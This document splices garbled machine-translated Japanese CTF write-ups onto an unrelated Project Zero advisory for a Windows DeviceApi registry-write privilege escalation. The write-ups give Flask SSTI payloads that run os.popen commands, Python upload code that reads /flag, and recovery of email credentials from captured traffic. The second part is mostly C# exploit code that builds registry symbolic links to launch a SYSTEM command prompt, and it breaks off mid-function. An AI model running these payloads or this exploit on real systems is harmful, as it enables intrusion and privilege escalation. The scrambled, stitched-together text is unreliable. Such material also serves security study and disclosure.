質問名:simple_ssti_2質問wirteup:は疑問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスします。ページは、URL接続をFLAGパラメーターhttp://114.67.246.176:19131/1049983-20211215170753560-1742163934.pngに関連付けます。 SSTIコンストラクト、パラメーターコンストラクトフラグ={{3+2}}、エラーが報告されており、Flaskhttp://114.67.246.176:19131/?flag={{3+2}} 1049983-20211215170753973-1147925365.pngも{1049983-20211215170753973-1147925365.png {3*2を掲載している}を構築するために試行されました。システムにSSTIの脆弱性があることhttp://114.67.246.176:19131/?flag={{3*2}} 1049983-20211215170754373-1942425992.png構成変数を介してフラスコの構成情報を表示すると、利用可能な点はありません。 http://114.67.246.176336019131/?flag={{config}} 1049983-20211215170754937-1633019011.png pass {{config .__ class __.__ init __.__グローバル__ ['os']。表示するには1つずつ入力してください。私が見た最初のアプリフォルダーには、Flag ## __ Class__:変数が属するクラスを表示するために使用されることがわかりました。以前の変数フォームによると、それが属するクラスを取得できます。 ## __ init_ __クラスの初期化、返されたタイプは関数です## __グローバル__ []使用法は関数名です。__Globals__Globals__モジュール、メソッド、および関数が配置されている空間で使用できるすべての変数を取得します。 ## os.popen()メソッドは、コマンドからパイプラインを開くために使用されます。

## open()メソッドはファイルを開き、ファイルオブジェクトhttp://114.67.246.176:19131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./です。1049983-20211215170755329-1298923557.pngby {{config .__ class __.__ init __.__ Globals __ ['os']。popen( 'ls ./app')。read()}}アプリディレクトリのファイルを読み取り、フラグファイルがあることを見つけますhttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./app%27)。 config .__クラス__ .__ init __.__グローバル__ ['os']。popen( 'cat ./app/flag')。read()}} flag contenthttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27cat%20 ./app/app%27) flag:flag {fcf301ac393f22215b3664d749c2d875e}タイトル名:flask_fileupload question witeup:3http://114.67.246.176:12896/JPGおよびPNGファイル名フォーマットをアップロードすることができ、ファイルコンテンツはPython View-Source:33http://114.67.246.176:12896/1049983-20211215170756809-381737825.pngSystem機能が操作を命令に変換することができます。原則は、各システム関数が実行されると、システム上のコマンドラインを実行するための子プロセスを作成し、子プロセスの実行結果がメインプロセスに影響を与えることができないということです。 OS.SystemメソッドはOSモジュールの最も基本的な方法であり、他の方法は一般にこの方法に基づいてカプセル化されています。ここで、PythonのOSパッケージのシステム関数を使用してフラグを読み取ります。ここで、test.jpgをアップロードします。これは、WebサイトルートディレクトリインポートOSを読み取ります

os.system( 'ls /')

正常にアップロードし、ソースコードを確認し、システムWebサイトのルートディレクトリが存在することを見つけ、ルートディレクトリにフラグファイルが含まれていることがわかります

1049983-20211215170757165-1220690341.png 1049983-20211215170757525-1275849476.pngフラグを表示

OSをインポートします

os.system( 'cat /flag')

正常にアップロードし、ソースコードを確認し、フラグコンテンツ1049983-20211215170757927-2024492077.pngfinally flag:flag {e541f3aadc95575ed6b6832b7ca34e327}質問名:計算機質問コンテンツ:emply cublish cublect writefification you shine other other cultions chanios get to emoling need exigate need emain fist necisit need fish firtingフラグを取得するためのコード、F12要素のレビューに合格し、ソースコードにcode.js3333333334.67.246.1763:16139/1049983-20211215170758514-1404340057.pngView code.js、JS、FALGコンテンツ3http://114.67.246.176:1139/JS/js 1049983-20211215170758956-219692258.pngついにflag:flag {e5d6e3fe29850f7fec9ea6ef55f86050}質問名:質問コンテンツ:flag {}質問wirteup3360は質問シーンを開始し、射撃範囲のウェブサイトを取得します。 http://114.67.246.176:13678/1049983-20211215170759310-817204845.pngは、単純なコード監査を実行し、HTTPに渡すことを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。what=flag、flaghttp://114.67.246.176:13678/?what=flag 1049983-20211215170759684-1193150402.pngFLAG:FLAG {54790DBA4001F7DED2EBDE88CA82A3CAの質問:POSTS POSTES:POST POSTES:POST POSTES:シナリオ、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、PHPコードhttp://114.67.246.176:15053/1049983-20211215170800032-2036447816.pngが簡単なコード監査を実行し、HTTP投稿が渡されることを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。http://114.67.246.176:15053/post: what=flag flag 1049983-20211215170800356-892244501.png final flag:flag {4335DD4CC7627848578D8026FB121AE}

質問名:矛盾した質問の書き込み:は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、コードの簡単な分析を通じてPHPコード1049983-20211215170800678-284646805.pngであることがわかります。この関数は、変数が数字か文字列かを検出します。それが数字と文字列である場合、それはtrueを返し、それ以外の場合はfalseを返します。

このステートメントは、渡されるnumパラメーターが数値文字列ではなく、1に等しいことを意味します。

num==1の決定は2つの等しい兆候であり、弱いタイプの比較です。等記号の両側が異なる場合、比較前に同じタイプに変換されます。

弱いタイプの比較では、文字列が数字と比較されると、文字列は数字に変換され、文字の前に数値を保持します。たとえば、123AB7Cは123に変換され、AB7Cは0に変換されます(文字の前には数がありません、0です)。

http://114.67.246.176336016671/?num=1a

1049983-20211215170801086-1113500528.pngFINALLY FLAG:FLAG {D95C4676FD2740A47E0393CF3364E3E3 Windowhttp://114.67.246.176:15743/1049983-20211215170801469-1858378092.pngソースコードを介してアクセスし、Webページソースコードをチェックし、コメント1049983-20211215170801984-383310401.pngで#から#から#から始まる#から始まるユニコードエンコードがあることを発見しました。 http://tool.chinaz.com/tools/unicode.aspx 1049983-20211215170802645-1444347535.pngpinally flag:flag {09EEC7218F68C04C87093052720C2C11}写真1049983-20211215170803098-1838834946.pngページのソースコードをチェックして、フラグが見つかりませんでしたが、ページ1049983-20211215170803493-840973381.pngがブプセットを介してパケットを登録し、最終的に応答ページのフラグコンテンツを繰り返し送信し、最終的にデータパケットを送信し、最終的にデータパケットを送信し続けるSciptスクリプトがあります。 flag:flag {ff9acfa3bbec16fe29b3ad5aef8f5421}質問名:ソーシャルワーカー - 質問コンテンツの予備収集:実際にはその他のアイテムです。その年の実際的な質問から、私は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、それがドリルブラッシングWebサイトhttp://114.67.246.176:13506/#GOUMAI 1049983-20211215170804488-2120220421.jpgカタログスカンがYujianを介したターゲット射撃の範囲であることがわかりました。1049983-20211215170805031-1221335115.png Admin Directoryにアクセスし、実際にバックエンドがありました。 http://114.67.246.176336013506/admin/login.php 1049983-20211215170805472-324520940.png射撃場のホームページの下部にある場合、補助をダウンロードできます。ここでダウンロードできます。

image-20210531172109605

減圧後、仮想マシンで掘削プログラムを実行します。

image-20210531172614314

QQとパスワードを入力し、[開始]をクリックし、Wrisharkを使用してパケットを分析した後、ポップアップウィンドウを見つけました。

image-20210531173000092

パケットを慎重に観察すると、パケットメールとBase64暗号化されたパスがあることがわかります。

image-20210531173328676

base64の復号化はパスワードのように見えますが、長すぎますが、コードを承認したいと考えています。

image-20210531173713476

FOXMAILを開いてログインし、メールアドレスを入力してから、認証コードを入力してログインします。

image-20210531181535352

受信トレイを表示し、「トピック」でソートし、利用可能な情報が記載されたメールを見つけます

送信者がマラであることがわかります

配達時間は2021年で、今は20歳で、2001年に生まれると判断されることができます

また、それは2日前の誕生日だったと言われているので、誕生日は2月6日だと判断することができます

image-20210531174014354

ログインして入力してみてください:ユーザー名マラ、パスワードはMaryyの誕生日番号:20010206です

1049983-20211215170813635-1876128424.png

システムに正常にログインし、Webサイトの背景---プレーヤーキーのWebサイト設定を確認すると、フラグを取得できます

1049983-20211215170814122-809664510.png最後に、flag:flag {c4cba16a2fd5aedf2dddd90a6bd04f}質問名:game1質問wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup:撮影ウェブサイトを入手し、ウェブサイトにアクセスして、最高のスコアを取得することができます。ここでどのゲームもプレイできます。 http://114.67.246.176336017941/?s=1629731758384 1049983-20211215170814602-1834873374.jpgそして、ゲームが終了する前に、それはブプスーツによって分析され、結果はソースの3つのパラメーターの値に関連していることがわかりました。 http://114.67.246.176336017941/scor.php?score=50ip=183.221.17.223Sign=Zmnta===

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=872

Windows: DeviceApi CMApi PiCMOpenClassKey Arbitrary Registry Key Write EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PiCMOpenClassKey IOCTL allows a normal user to create arbitrary registry keys in the system hive leading to elevation of privilege.

Description:

The DeviceApi is a driver implemented inside the kernel which exposes a number of devices. One of those is CMApi which presumably is short for configuration manager API as it primarily exposes device configuration from the registry to the caller. The device exposes calls using IOCTLs, in theory anything which “creates” or “deletes” an object is limited behind an access check which only administrators have access to. However certain calls feed into the call PnpCtxRegCreateTree which will allow a user to open parts of the registry, and if they’re not there will create the keys. This is a problem as the keys are created in the user’s context using ZwCreateKey but without forcing an access check (it does this intentionally, as otherwise the user couldn’t create the key). All we need to do is find a CMApi IOCTL which will create the arbitrary keys for us.

Fortunately it’s not that simple, all the ones I find using the tree creation function verify that string being passed from the user meets some valid criteria and is always placed into a subkey which the user doesn’t have direct control over. However I noticed PiCMOpenDeviceKey allows a valid 3 part path, of the form ABC\DEF\XYZ to be specified and the only criteria for creating this key is it exists as a valid device under CurrentControlSet\Enum, however the keys will be created under CurrentControlSet\Hardware Profiles which doesn’t typically exist. The majority of calls to this IOCTL will apply a very restrictive security descriptor to the new keys, however if you specify the 0x200 device type flag it will use the default SD which will be inherited from the parent key. Even if this didn’t provide a useful ACE (in this case it has the default CREATOR OWNER giving full access) as it’s created under our user context we are the owner and so could rewrite the DACL anyway.

To convert this into a full arbitrary write we can specify a device path which doesn’t already exist and it will create the three registry keys. If we now delete the last key and replace it with a symbolic link we can point it at any arbitrary key. As the system hive is trusted this isn’t affected by the inter-hive symbolic link protections (and at anyrate services is in the same hive), however this means that the exploit won’t work from low-IL due to restrictions on creating symbolic links from sandboxes.

You should be treating anything which calls PnpCtxRegCreateTree or SysCtxRegCreateKey as suspect, especially if no explicit security descriptor is being passed. For example you can use PiCMOpenDeviceInterfaceKey to do something very similar and get an arbitrary Device Parameters key created with full control for any device interface which doesn’t already have one. You can’t use the same symbolic link trick here (you only control the leaf key) however there might be a driver which has exploitable behaviour if the user can create a arbitrary Device Parameters key. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It will create a new IFEO for a executable we know can be run from the task scheduler at system. 

1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should print that it successfully created the key. You should find an interactive command prompt running at system on the desktop.

Expected Result:
The key access should fail, or at least the keys shouldn’t be writable by the current user. 

Observed Result:
The key access succeeds and a system level command prompt is created.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;

      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;

      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }

      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }

      public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
      {
        Length = Marshal.SizeOf(this);
        if (object_name != null)
        {
          ObjectName = AllocStruct(new UnicodeString(object_name));
        }
        Attributes = flags;
        RootDirectory = rootkey;
      }

      public ObjectAttributes(string object_name, AttributeFlags flags) 
        : this(object_name, flags, IntPtr.Zero)
      {
      }

      public void Dispose()
      {
        if (ObjectName != IntPtr.Zero)
        {
          FreeStruct(ref ObjectName, typeof(UnicodeString));
        }
        GC.SuppressFinalize(this);
      }

      ~ObjectAttributes()
      {
        Dispose();
      }
    }

    [Flags]
    public enum LoadKeyFlags
    {
      None = 0,
      AppKey = 0x10,
      Exclusive = 0x20,
      Unknown800 = 0x800,
      ReadOnly = 0x2000,
    }

    [Flags]
    public enum GenericAccessRights : uint
    {
      None = 0,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    public class NtException : ExternalException
    {
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern IntPtr GetModuleHandle(string modulename);

      [Flags]
      enum FormatFlags
      {
        AllocateBuffer = 0x00000100,
        FromHModule = 0x00000800,
        FromSystem = 0x00001000,
        IgnoreInserts = 0x00000200
      }

      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern int FormatMessage(
        FormatFlags dwFlags,
        IntPtr lpSource,
        int dwMessageId,
        int dwLanguageId,
        out IntPtr lpBuffer,
        int nSize,
        IntPtr Arguments
      );

      [DllImport("kernel32.dll")]
      private static extern IntPtr LocalFree(IntPtr p);

      private static string StatusToString(int status)
      {
        IntPtr buffer = IntPtr.Zero;
        try
        {
          if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
              GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
          {
            return Marshal.PtrToStringUni(buffer);
          }
        }
        finally
        {
          if (buffer != IntPtr.Zero)
          {
            LocalFree(buffer);
          }
        }
        return String.Format("Unknown Error: 0x{0:X08}", status);
      }

      public NtException(int status) : base(StatusToString(status))
      {
      }
    }

    public static void StatusToNtException(int status)
    {
      if (status < 0)
      {
        throw new NtException(status);
      }
    }


    [Flags]
    public enum FileOpenOptions
    {
      None = 0,
      DirectoryFile = 0x00000001,
      WriteThrough = 0x00000002,
      SequentialOnly = 0x00000004,
      NoIntermediateBuffering = 0x00000008,
      SynchronousIoAlert = 0x00000010,
      SynchronousIoNonAlert = 0x00000020,
      NonDirectoryFile = 0x00000040,
      CreateTreeConnection = 0x00000080,
      CompleteIfOplocked = 0x00000100,
      NoEaKnowledge = 0x00000200,
      OpenRemoteInstance = 0x00000400,
      RandomAccess = 0x00000800,
      DeleteOnClose = 0x00001000,
      OpenByFileId = 0x00002000,
      OpenForBackupIntent = 0x00004000,
      NoCompression = 0x00008000,
      OpenRequiringOplock = 0x00010000,
      ReserveOpfilter = 0x00100000,
      OpenReparsePoint = 0x00200000,
      OpenNoRecall = 0x00400000,
      OpenForFreeSpaceQuery = 0x00800000
    }

    public class IoStatusBlock
    {
      public IntPtr Pointer;
      public IntPtr Information;

      public IoStatusBlock(IntPtr pointer, IntPtr information)
      {
        Pointer = pointer;
        Information = information;
      }

      public IoStatusBlock()
      {
      }
    }

    [Flags]
    public enum ShareMode
    {
      None = 0,
      Read = 0x00000001,
      Write = 0x00000002,
      Delete = 0x00000004,
    }

    [Flags]
    public enum FileAccessRights : uint
    {
      None = 0,
      ReadData = 0x0001,
      WriteData = 0x0002,
      AppendData = 0x0004,
      ReadEa = 0x0008,
      WriteEa = 0x0010,
      Execute = 0x0020,
      DeleteChild = 0x0040,
      ReadAttributes = 0x0080,
      WriteAttributes = 0x0100,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    [DllImport("ntdll.dll")]
    public static extern int NtOpenFile(
        out IntPtr FileHandle,
        FileAccessRights DesiredAccess,
        ObjectAttributes ObjAttr,
        [In] [Out] IoStatusBlock IoStatusBlock,
        ShareMode ShareAccess,
        FileOpenOptions OpenOptions);

    [DllImport("ntdll.dll")]
    public static extern int NtDeviceIoControlFile(
      SafeFileHandle FileHandle,
      IntPtr Event,
      IntPtr ApcRoutine,
      IntPtr ApcContext,
      [In] [Out] IoStatusBlock IoStatusBlock,
      uint IoControlCode,
      SafeHGlobalBuffer InputBuffer,
      int InputBufferLength,
      SafeHGlobalBuffer OutputBuffer,
      int OutputBufferLength
    );

    static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
    {
      using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
      {
        using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
        {
          IoStatusBlock status = new IoStatusBlock();
          StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
            IntPtr.Zero, status, IoControlCode, input, input.Length,
            output, output.Length));
          
          return output.Result;
        }
      }
    }

    public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
    {
      AttributeFlags flags = AttributeFlags.CaseInsensitive;
      if (inherit)
        flags |= AttributeFlags.Inherit;
      using (ObjectAttributes obja = new ObjectAttributes(name, flags))
      {
        IntPtr handle;
        IoStatusBlock iostatus = new IoStatusBlock();
        StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
        return new SafeFileHandle(handle, true);
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    class CmApiOpenKeyData
    {
      public int cbSize; // 0
      public int device_type; // 4
      public int callback_id; // 8
      [MarshalAs(UnmanagedType.LPWStr)]
      public string name;  // c
      public int name_size; // 10
      public GenericAccessRights desired_access; // 14	
      public int create; // 18
      public int hardware_id; // 1c
      public int return_data_size; // 20

      public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
      {
        this.cbSize = Marshal.SizeOf(this);
        this.device_type = device_type;
        this.callback_id = callback_id;
        this.name = name;
        this.name_size = (name.Length + 1) * 2;
        this.desired_access = desired_access;
        this.create = create ? 1 : 0;
        this.hardware_id = hardware_id;
        this.return_data_size = return_data_size;
      }
    }

    [StructLayout(LayoutKind.Sequential)]
    class CmApiOpenKeyResult
    {
      int size;
      public int status;
      public long handle;
    };

    public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
    {
      public SafeHGlobalBuffer(int length)
        : this(Marshal.AllocHGlobal(length), length, true)
      {
      }

      public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
        : base(owns_handle)
      {
        Length = length;
        SetHandle(buffer);
      }

      public int Length
      {
        get; private set;
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          Marshal.FreeHGlobal(handle);
          handle = IntPtr.Zero;
        }
        return true;
      }
    }

    public class SafeStructureBuffer : SafeHGlobalBuffer
    {
      Type _type;

      public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
      {
        _type = value.GetType();
        Marshal.StructureToPtr(value, handle, false);
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          Marshal.DestroyStructure(handle, _type);
        }
        return base.ReleaseHandle();
      }
    }

    public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
    {
      public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
      {
      }

      public T Result
      {
        get
        {
          if (IsInvalid)
            throw new ObjectDisposedException("handle");

          return Marshal.PtrToStructure<T>(handle);
        }
      }
    }

    static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
    {      
      if (current_depth == maxdepth)
      {
        names.Add(String.Join(@"\", name_parts));
      }
      else
      {
        foreach (string subkey in rootkey.GetSubKeyNames())
        {
          using (RegistryKey key = rootkey.OpenSubKey(subkey))
          {            
            if (key != null)
            {              
              EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);              
            }
          }
        }
      }
    }

    static IEnumerable<string> GetValidDeviceNames()
    {
      List<string> names = new List<string>();
      using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
      {
        EnumKeys(rootkey, new string[0], names, 3, 0);
      }
      return names;
    }
    
    static RegistryKey OpenProfileKey(string name)
    {
      RegistryKey ret = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Hardware Profiles\0001\SYSTEM\CurrentControlSet\Enum");
      if (name != null)
      {
        try
        {
          return ret.OpenSubKey(name);
        }
        finally
        {
          ret.Close();
        }
      }
      else
      {
        return ret;
      }
    }

    static string FindFirstAccessibleDevice()
    {
      foreach (string device in GetValidDeviceNames())
      {
        try
        {            
          using (RegistryKey key = OpenProfileKey(device))
          {
            if (key == null)
            {
              return device;
            }          
          }
        }
        catch { }
      }

      return null;
    }

    [Flags]
    enum KeyCreateOptions
    {
      None = 0,
      NonVolatile = None,      
      Volatile = 1,      
      CreateLink = 2,
      BackupRestore = 4,
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    static extern int NtCreateKey(
      out IntPtr KeyHandle,
      GenericAccessRights DesiredAccess,
      [In] ObjectAttributes ObjectAttributes,
      int TitleIndex,
      [In] UnicodeString Class,
      KeyCreateOptions CreateOptions,
      out int Disposition);

    static SafeRegistryHandle CreateKey(SafeRegistryHandle rootkey, string path, AttributeFlags flags, KeyCreateOptions options)
    {
      using (ObjectAttributes obja = new ObjectAttributes(path, flags | AttributeFlags.CaseInsensitive, rootkey != null ? rootkey.DangerousGetHandle() : IntPtr.Zero))
      {
        IntPtr handle;
        int disposition = 0;
        StatusToNtException(NtCreateKey(out handle, GenericAccessRights.MaximumAllowed, obja, 0, null, options, out disposition));
        return new SafeRegistryHandle(handle, true);
      } 
    }

    enum RegistryKeyType
    {
      Link = 6,
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    static extern int NtSetValueKey(
      SafeRegistryHandle KeyHandle,
      UnicodeString ValueName,
      int TitleIndex,
      RegistryKeyType Type,
      byte[] Data,
      int DataSize);

    [DllImport("ntdll.dll")]
    static extern int NtDeleteKey(SafeRegistryHandle KeyHandle);

    static void DeleteSymbolicLink(SafeRegistryHandle rootkey, string path)
    {      
      using (SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenLink | AttributeFlags.OpenIf, KeyCreateOptions.None))
      {
        StatusToNtException(NtDeleteKey(key));
      }     
    }

    static SafeRegistryHandle CreateSymbolicLink(SafeRegistryHandle rootkey, string path, string target)
    {      
      SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenIf | AttributeFlags.OpenLink, KeyCreateOptions.CreateLink);
      try
      {
        UnicodeString value_name = new UnicodeString("SymbolicLinkValue");
        byte[] data = Encoding.Unicode.GetBytes(target);
        StatusToNtException(NtSetValueKey(key, value_name, 0, RegistryKeyType.Link, data, data.Length));
        SafeRegistryHandle ret = key;
        key = null;
        return ret;
      }
      finally
      {
        if (key != null)
        {
          NtDeleteKey(key);
        }
      }
    }

    static RegistryKey CreateDeviceKey(string device_name)
    {
      using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
        ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
      {
        CmApiOpenKeyData data = new CmApiOpenKeyData(0x211, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
        CmApiOpenKeyResult result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
        StatusToNtException(result.status);
        return RegistryKey.FromHandle(new SafeRegistryHandle(new IntPtr(result.handle), true));
      }
    }


    public enum TokenInformationClass
    {
      TokenSessionId = 12
    }

    [DllImport("ntdll.dll")]
    public static extern int NtClose(IntPtr handle);

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    public static extern int NtOpenProcessTokenEx(
          IntPtr ProcessHandle,
          GenericAccessRights DesiredAccess,
          AttributeFlags HandleAttributes,
          out IntPtr TokenHandle);

    public sealed class SafeKernelObjectHandle
  : SafeHandleZeroOrMinusOneIsInvalid
    {
      public SafeKernelObjectHandle()
        : base(true)
      {
      }

      public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
        : base(owns_handle)
      {
        SetHandle(handle);
      }

      protected override bool ReleaseHandle()
      {
        if (!IsInvalid)
        {
          NtClose(this.handle);
          this.handle = IntPtr.Zero;
          return true;
        }
        return false;
      }
    }

    public enum TokenType
    {
      Primary = 1,
      Impersonation = 2
    }

    [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
    public static extern int NtDuplicateToken(
    IntPtr ExistingTokenHandle,
    GenericAccessRights DesiredAccess,
    ObjectAttributes ObjectAttributes,
    bool EffectiveOnly,
    TokenType TokenType,
    out IntPtr NewTokenHandle
    );

    public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token)
    {
      IntPtr new_token;

      using (ObjectAttributes obja = new ObjectAttributes(null, AttributeFlags.None))
      {
        StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(),
          GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token));
        return new SafeKernelObjectHandle(new_token, true);
      }
    }

    public static SafeKernelObjectHandle OpenProcessToken()
    {
      IntPtr new_token;
      StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1),
        GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token));
      using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true))
      {
        return DuplicateToken(ret);
      }
    }

    [DllImport("ntdll.dll")]
    public static extern int NtSetInformationToken(
      SafeKernelObjectHandle TokenHandle,
      TokenInformationClass TokenInformationClass,
      byte[] TokenInformation,
      int TokenInformationLength);

    public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id)
    {
      byte[] buffer = BitConverter.GetBytes(session_id);
      NtSetInformationToken(token, TokenInformationClass.TokenSessionId,
        buffer, buffer.Length);
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
      public Int32 cb;
      public string lpReserved;
      public string lpDesktop;
      public string lpTitle;
      public Int32 dwX;
      public Int32 dwY;
      public Int32 dwXSize;
      public Int32 dwYSize;
      public Int32 dwXCountChars;
      public Int32 dwYCountChars;
      public Int32 dwFillAttribute;
      public Int32 dwFlags;
      public Int16 wShowWindow;
      public Int16 cbReserved2;
      public IntPtr lpReserved2;
      public IntPtr hStdInput;
      public IntPtr hStdOutput;
      public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
      public IntPtr hProcess;
      public IntPtr hThread;
      public int dwProcessId;
      public int dwThreadId;
    }

    enum CreateProcessFlags
    {
      CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
      CREATE_DEFAULT_ERROR_MODE = 0x04000000,
      CREATE_NEW_CONSOLE = 0x00000010,
      CREATE_NEW_PROCESS_GROUP = 0x00000200,
      CREATE_NO_WINDOW = 0x08000000,
      CREATE_PROTECTED_PROCESS = 0x00040000,
      CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
      CREATE_SEPARATE_WOW_VDM = 0x00000800,
      CREATE_SHARED_WOW_VDM = 0x00001000,
      CREATE_SUSPENDED = 0x00000004,
      CREATE_UNICODE_ENVIRONMENT = 0x00000400,
      DEBUG_ONLY_THIS_PROCESS = 0x00000002,
      DEBUG_PROCESS = 0x00000001,
      DETACHED_PROCESS = 0x00000008,
      EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
      INHERIT_PARENT_AFFINITY = 0x00010000
    }

    [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
    static extern bool CreateProcessAsUser(
      IntPtr hToken,
      string lpApplicationName,
      string lpCommandLine,
      IntPtr lpProcessAttributes,
      IntPtr lpThreadAttributes,
      bool bInheritHandles,
      CreateProcessFlags dwCreationFlags,
      IntPtr lpEnvironment,
      string lpCurrentDirectory,
      ref STARTUPINFO lpStartupInfo,
      out PROCESS_INFORMATION lpProcessInformation);

    static void SpawnInteractiveCmd(int sessionid)
    {      
      SafeKernelObjectHandle token = OpenProcessToken();
      SetTokenSessionId(token, sessionid);

      STARTUPINFO startInfo = new STARTUPINFO();
      startInfo.cb = Marshal.SizeOf(startInfo);
      PROCESS_INFORMATION procInfo;

      CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe",
